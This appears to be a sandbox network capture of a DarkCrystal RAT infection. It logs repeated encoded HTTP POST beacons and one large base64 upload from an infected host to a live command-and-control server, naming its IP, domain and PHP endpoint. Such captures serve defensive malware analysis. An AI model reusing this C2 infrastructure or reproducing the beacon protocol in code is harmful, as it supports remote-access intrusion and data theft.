Nov 9, 2024 22:24:06.899386883 CET	2544	OUT	Data Raw: 55 52 59 5f 53 5a 5b 53 5d 5d 54 54 54 52 5b 57 56 50 5f 53 5b 52 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: URY_SZ[S]]TTTR[WVP_S[RZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!\'!E48!_"-8['$#>+)'X35<Z0<)(7@%-6^.'Y&%[(
Nov 9, 2024 22:24:07.466856003 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:07.526020050 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	50121	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:07.651462078 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:08.010896921 CET	2544	OUT	Data Raw: 50 50 5c 59 56 5d 5e 51 5d 5d 54 54 54 57 5b 53 56 51 5f 52 5b 53 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PP\YV]^Q]]TTTW[SVQ_R[SZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!$E4!Z5+$,,!>+*'633<3+7D&-6:?'Y&%[(
Nov 9, 2024 22:24:08.598906994 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:08.649812937 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	50122	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:08.778373003 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:09.133713007 CET	2544	OUT	Data Raw: 50 56 59 5f 56 5c 5e 52 5d 5d 54 54 54 54 5b 55 56 5d 5f 5b 5b 5d 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PVY_V\^R]]TTTT[UV]_[[]Z]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!X3=A#9Z" %,Y#);#'50Z%<7^?^+$-6\-?'Y&%[(,
Nov 9, 2024 22:24:09.700517893 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:09.753717899 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	50123	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:09.883718014 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:10.244349003 CET	2544	OUT	Data Raw: 55 54 59 5d 53 58 5e 52 5d 5d 54 54 54 56 5b 50 56 51 5f 5d 5b 57 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UTY]SX^R]]TTTV[PVQ_][WZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!0")D -X6'$?7> Y*;'',]'<4?<%&_-/'Y&%[($
Nov 9, 2024 22:24:10.794975042 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:10.843187094 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	50124	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:10.040854931 CET	294	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 540 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:10.399404049 CET	540	OUT	Data Raw: 55 51 59 5c 53 5c 5b 57 5d 5d 54 54 54 5c 5b 56 56 5a 5f 52 5b 53 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UQY\S\[W]]TTT\[VVZ_R[SZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"$!D7(5"([0,3^#X Z=$0C#%//[<D&-'Y&%[(

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	50125	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:10.852546930 CET	341	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----PFbyD7j3zpstWVBOFjpIaIGpbjqfLCAll0 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 362302 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:11.211972952 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 50 46 62 79 44 37 6a 33 7a 70 73 74 57 56 42 4f 46 6a 70 49 61 49 47 70 62 6a 71 66 4c 43 41 6c 6c 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------PFbyD7j3zpstWVBOFjpIaIGpbjqfLCAll0Content-Disposition: form-data; name="0"Content-Type: text/plainUTYXVZ[U]]TTTQ[[VY_S[UZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]
Nov 9, 2024 22:24:11.343285084 CET	2472	OUT	Data Raw: 4d 57 30 72 57 43 74 31 64 54 56 61 53 6b 49 32 4f 57 46 55 59 55 39 34 63 44 6c 32 52 57 73 32 55 57 73 7a 62 48 42 44 4f 58 68 6b 52 7a 42 6e 61 6d 31 61 64 7a 42 7a 64 55 5a 50 4d 47 4a 56 53 55 67 7a 62 44 56 4b 53 46 64 78 56 56 59 35 59 6e Data Ascii: MW0rWCt1dTVaSkI2OWFUYU94cDl2RWs2UWszbHBDOXhkRzBnam1adzBzdUZPMGJVSUgzbDVKSFdxVVY5YnlxaFdlTGNRZHlianVRZzR3Y2dEUDBKcm9qWHBPWHM0dlZITFBEVjFEMnNsbytwWUtta3hTcTRZWlVnajJOT0xjYzFzYytveWlwMGdTUm9JaGMycVhkeXU2M3RIZGhMS08yTUtWRzdzR1lFL2lNMVpaRmgwVzAxWm1
Nov 9, 2024 22:24:11.343558073 CET	2472	OUT	Data Raw: 63 57 70 6c 4d 30 31 71 62 79 74 77 4e 47 6b 7a 54 6e 6c 50 65 44 46 48 62 57 56 50 4e 7a 64 54 64 45 35 6e 63 31 6c 69 56 7a 4a 6c 54 30 56 46 51 6d 34 7a 57 6b 39 54 56 44 4a 51 64 6c 5a 32 4c 32 68 61 5a 58 46 6d 4f 45 46 51 62 46 70 6d 61 79 Data Ascii: cWplM01qbytwNGkzTnlPeDFHbWVPNzdTdE5nc1liVzJlT0VFQm4zWk9TVDJQdlZ2L2haZXFmOEFQbFpmay84QThWWEdJMW0ybTNGKzJzYWRISGJ1c2N5dDUrNUhiZHRYaUlnazdUMEpGT3VJVnM1SjB2THl6dDJqbmt0azh4M3hOSWdCWUtRaHhqY3ZMYlJ6OWNlZTZXWFNscnY2dit1cDZpclpyRkpMYjBpZGgvd3N2VmYrZk9
Nov 9, 2024 22:24:11.343589067 CET	4944	OUT	Data Raw: 62 55 63 7a 64 48 70 61 63 32 77 7a 52 45 6b 72 53 53 39 4e 57 6d 78 6b 51 32 6c 30 61 7a 64 59 64 31 45 79 4d 32 74 6b 56 47 35 71 57 6b 56 4e 57 43 39 42 52 48 6c 55 4c 33 5a 72 56 58 4a 33 65 48 6c 45 52 48 68 78 64 7a 6c 34 56 56 56 7a 62 32 Data Ascii: bUczdHpac2wzREkrSS9NWmxkQ2l0azdYd1EyM2tkVG5qWkVNWC9BRHlUL3ZrVXJ3eHlERHhxdzl4VVVzb2pUYWFscXY4QUszNUZWczlsVlhMS0N0L3diL21aMTIwT3A2bk5CcUZ4RGFOYTNyM0ZySzhuMmlHZUpralRETkR2dytJMVBBSTVJT01ETWNVT25YZHN0bXVvMmtMVytwVFRiWklwZ0pVYU9KUVZLeHNPcU45N0I2Y0N
Nov 9, 2024 22:24:11.343601942 CET	2472	OUT	Data Raw: 4c 7a 67 76 53 57 5a 6d 54 43 38 31 52 54 64 44 61 58 56 52 56 46 68 4d 4f 56 68 43 54 58 64 6a 52 43 74 46 63 55 31 49 4f 48 45 32 56 33 64 32 52 6e 5a 79 57 6c 70 57 52 30 51 77 57 6d 5a 52 4d 54 4d 30 53 45 34 34 55 47 70 61 54 30 5a 50 4e 6d Data Ascii: LzgvSWZmTC81RTdDaXVRVFhMOVhCTXdjRCtFcU1IOHE2V3d2RnZyWlpWR0QwWmZRMTM0SE44UGpaT0ZPNmE2UDhBcG5qNXh3empzcGdxdGV6aTlMeGJkbjUzU1phb29vcjB6NTRLRFJSUUFVZDYxbThOYXVqRldzeUdIWXlML2pRUERPcm5wYWYrUlUveHJpL3RQQmY4L28vK0JML003UDdPeG4vUHFYL2dML3lNbWl0Z2VGdGF
Nov 9, 2024 22:24:11.343645096 CET	7416	OUT	Data Raw: 4d 7a 68 51 52 53 74 72 5a 6e 70 50 4d 33 4a 74 4c 30 52 75 61 56 4e 59 56 32 52 54 4d 55 4d 77 62 57 70 70 57 48 6c 51 62 57 6f 34 63 30 68 4a 57 47 56 35 4e 31 68 36 4c 30 59 34 62 31 42 49 63 6a 64 57 4d 45 55 34 4f 46 5a 79 59 6e 6c 59 52 58 Data Ascii: MzhQRStrZnpPM3JtL0RuaVNYV2RTMUMwbWppWHlQbWo4c0hJWGV5N1h6L0Y4b1BIcjdWMEU4OFZyYnlYRXpoSW9sTHV4NkFEa212Sy9DdmltMjAvVmRVMVM2aS8wZlVwV2xjd29XYTNJWTdRL0dQbTNldlhyMXI1cXRWVUp4VGRqN1BBNE40akQxcFJqZHExdlcvK1grWFU5V2RGa1JrZFF5TU1NckRJSTlEWGkvaVhSby9EL2l
Nov 9, 2024 22:24:11.343655109 CET	2472	OUT	Data Raw: 65 46 64 43 62 7a 52 70 63 44 64 53 65 6e 52 6d 4d 46 42 61 64 31 64 61 56 6a 68 4d 55 7a 6c 75 52 32 35 6b 53 79 39 6a 4f 57 4d 76 4e 46 52 6d 64 7a 63 76 64 30 4a 43 52 43 39 35 51 6b 6f 76 4f 45 46 46 4d 47 59 34 53 6e 59 30 5a 43 39 33 51 32 Data Ascii: eFdCbzRpcDdSenRmMFBad1daVjhMUzluR25kSy9jOWMvNFRmdzcvd0JCRC95QkovOEFFMGY4SnY0ZC93Q2doLzVBay84QWlhOGthMnVWc3hlTmEzQXRUMG5NTGVXZWNmZXhqcjcwMk9HZWEzbHVJYmVlV0NIUG15eHhNeUpnWk9TQmdjZXRjMzlrVUxYOXArUjFmMjVpYjI5bHY2bm9uaW54VG8ycGVHN3UwdEx6eko1Tm0xZkt
Nov 9, 2024 22:24:11.343724012 CET	2472	OUT	Data Raw: 4d 30 77 33 5a 32 6f 72 53 32 39 73 4d 48 68 4d 5a 54 56 58 4e 6e 4e 77 4e 54 64 54 4e 46 68 50 4d 6c 64 44 55 57 39 35 4e 55 64 45 5a 32 70 43 63 47 74 6c 61 56 64 54 55 58 52 46 4d 47 55 76 5a 57 4e 7a 56 44 46 4b 63 6e 64 75 62 47 78 57 65 56 Data Ascii: M0w3Z2orS29sMHhMZTVXNnNwNTdTNFhPMldDUW95NUdEZ2pCcGtlaVdTUXRFMGUvZWNzVDFKcndubGxWeVh2YUpMOEwvd0NaOUxIT3FFWVAzVzNKL25iL0FDSUxHenY5Y3N0UEZnbDFjV2RzWjF1b3JaQzdSM0psYzczVVpJeW13Qmp4aGNkcWRjWE0xdjRkMUNSSGxtdnJKemFXc3hPZHEzRzRzY2pxVjJTWS93Q3VwUGFwdjd
Nov 9, 2024 22:24:11.348099947 CET	2472	OUT	Data Raw: 56 58 5a 68 59 33 59 33 65 6d 5a 35 55 45 6c 78 4b 33 6b 31 64 6a 4e 57 4e 32 56 5a 4d 55 64 68 4d 30 39 49 62 6c 64 4c 56 7a 68 72 4f 48 5a 54 65 6b 74 6f 53 56 4d 33 51 32 74 44 55 55 68 4a 51 55 46 35 52 6e 6c 6a 61 6d 4d 32 62 69 74 42 4d 56 Data Ascii: VXZhY3Y3emZ5UElxK3k1djNWN2VZMUdhM09IbldLVzhrOHZTektoSVM3Q2tDUUhJQUF5RnljamM2bitBMVR0OUQxcXowQ043YlM5Vk43cUN0QzBxV2pzTGFFSEVoSkNuRE9RVjlkdTcrOEtrbDA2MW1rTWtrWVpqM05WMDBPeWlZc2lNcFBmTmViV3dGV2RTVWxKV2x2NkwrdFQxNkdaMGFkS01IRjNqdDZ2L0xvUWEzSGNSK0Z
Nov 9, 2024 22:24:11.348229885 CET	2472	OUT	Data Raw: 5a 7a 55 72 64 45 64 57 55 46 5a 6d 65 58 42 30 52 6b 46 44 4b 31 64 77 4b 7a 59 7a 4e 54 42 33 65 45 31 50 4d 7a 56 56 4e 30 35 4c 52 30 6c 76 63 30 64 77 52 56 46 6c 4c 30 5a 4b 56 53 73 76 55 46 56 42 4d 47 68 57 52 44 64 56 63 6b 51 31 61 55 Data Ascii: ZzUrdEdWUFZmeXB0RkFDK1dwKzYzNTB3eE1PMzVVN05LR0lvc0dwRVFlL0ZKVSsvUFVBMGhWRDdVckQ1aUhGSlVwaS91a0dtRldIVUdpdzdqYUtLS0xGQ1VVVVVBSlJTMGxNWWhvcGFLUUNZcEtXaWdZM0ZCcGFLQUVvb29vR0pSUlJUR0ZKUzBsQXhLUTB0RkFDVVVVVURFb3BhU21BbEpUcVR2UU1iUjNwYUtReERTVXRGTVl
Nov 9, 2024 22:24:11.775155067 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:12.479873896 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:24:12.480907917 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2220 Expect: 100-continue
Nov 9, 2024 22:24:12.765214920 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:13.108418941 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 20 03 2b 03 3e 09 20 17 0f 0d 2a 0f 0c 0a 3f 2e 39 5a 31 30 28 17 2a 3c 04 07 2b 3e 27 55 35 3d 22 5f 33 3c 03 5f 36 21 2b 02 31 30 2b 5a 01 1c 25 42 3e 2e 3c 1e 31 38 0c 12 33 0e 35 17 23 59 3f 18 32 1a 2b 58 26 54 36 0f 3d 0a 3c 1e 2c 57 2a 04 28 2d 2c 1b 31 32 3a 10 20 1f 2a 55 03 12 20 0b 2a 03 2c 08 31 3d 01 52 28 08 20 13 35 00 2b 58 22 3b 28 5b 33 28 2b 58 2f 23 01 07 24 0a 3f 5f 28 54 2b 59 37 02 3a 0a 24 3a 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: +> ?.9Z10(<+>'U5="_3<_6!+10+Z%B>.<1835#Y?2+X&T6=<,W(-,12: U *,1=R( 5+X";([3(+X/#$?_(T+Y7:$:#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	50126	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:10.961656094 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:11.305567980 CET	2536	OUT	Data Raw: 55 51 5c 58 53 5a 5b 57 5d 5d 54 54 54 55 5b 54 56 5c 5f 5f 5b 57 5a 5a 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UQ\XSZ[W]]TTTU[TV\__[WZZV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!$"E7;!!$'(4-$>;^$(['? ? 2"_:'Y&%[(
Nov 9, 2024 22:24:11.887587070 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:11.946415901 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	50127	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:12.074431896 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:24:12.430562973 CET	2544	OUT	Data Raw: 55 52 59 5b 56 5e 5e 56 5d 5d 54 54 54 52 5b 57 56 5d 5f 5c 5b 55 5a 5a 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: URY[V^^V]]TTTR[WV]_\[UZZV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!^$"278-^#=+3 ^*+Z$$'Z/[<82>9?'Y&%[(
Nov 9, 2024 22:24:12.998786926 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:13.056408882 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	50128	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:13.186753035 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:24:13.539936066 CET	2544	OUT	Data Raw: 50 56 5c 5e 56 57 5e 52 5d 5d 54 54 54 50 5b 53 56 59 5f 5c 5b 5c 5a 5e 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PV\^VW^R]]TTTP[SVY_\[\Z^V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"$2*#;%Z![3$#-4_=;'8\$,,(;@2"_-'Y&%[(<
Nov 9, 2024 22:24:14.111619949 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:14.173394918 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	50129	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:14.314893007 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:24:14.664966106 CET	2544	OUT	Data Raw: 55 52 59 53 56 58 5e 55 5d 5d 54 54 54 5c 5b 54 56 5f 5f 53 5b 5c 5a 5e 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: URYSVX^U]]TTT\[TV__S[\Z^V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"$!27(50?#_7);<'$X$Z+Y(#2.:?'Y&%[(
Nov 9, 2024 22:24:15.233913898 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:24:15.293303013 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:24:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	50130	185.50.25.59	80

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:24:15.415927887 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:24:15.774426937 CET	2544	OUT	Data Raw: 50 50 59 5c 53 58 5b 55 5d 5d 54 54 54 51 5b 56 56 5e 5f 5c 5b 5d 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PPY\SX[U]]TTTQ[VV^_\[]ZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!$1)C4"6.#%/+ <>;<$%$$//^($>,/'Y&%[(8
Nov 9, 2024 22:24:16.349772930 CET	25	IN	HTTP/1.1 100 Continue
